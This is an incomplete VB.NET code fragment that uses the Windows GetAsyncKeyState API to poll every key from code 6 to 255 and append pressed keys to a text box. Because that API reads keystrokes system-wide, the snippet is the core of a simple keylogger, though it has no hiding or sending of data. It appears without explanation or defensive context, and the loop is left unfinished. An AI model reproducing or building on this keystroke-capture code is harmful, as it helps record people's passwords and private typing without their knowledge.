Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) _
  As Short

        Dim result As Integer = 0
 
        For i = 6 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If My.Computer.Keyboard.CapsLock Or _
              My.Computer.Keyboard.ShiftKeyDown Then
                If result = -32767 Then
                    TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                End If
            Else
                If result = -32767 Then
                    TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                End If
            End If
            If GetAsyncKeyState(Keys.Alt) = -32767 Then
                TextBox1.Text = TextBox1.Text
            End If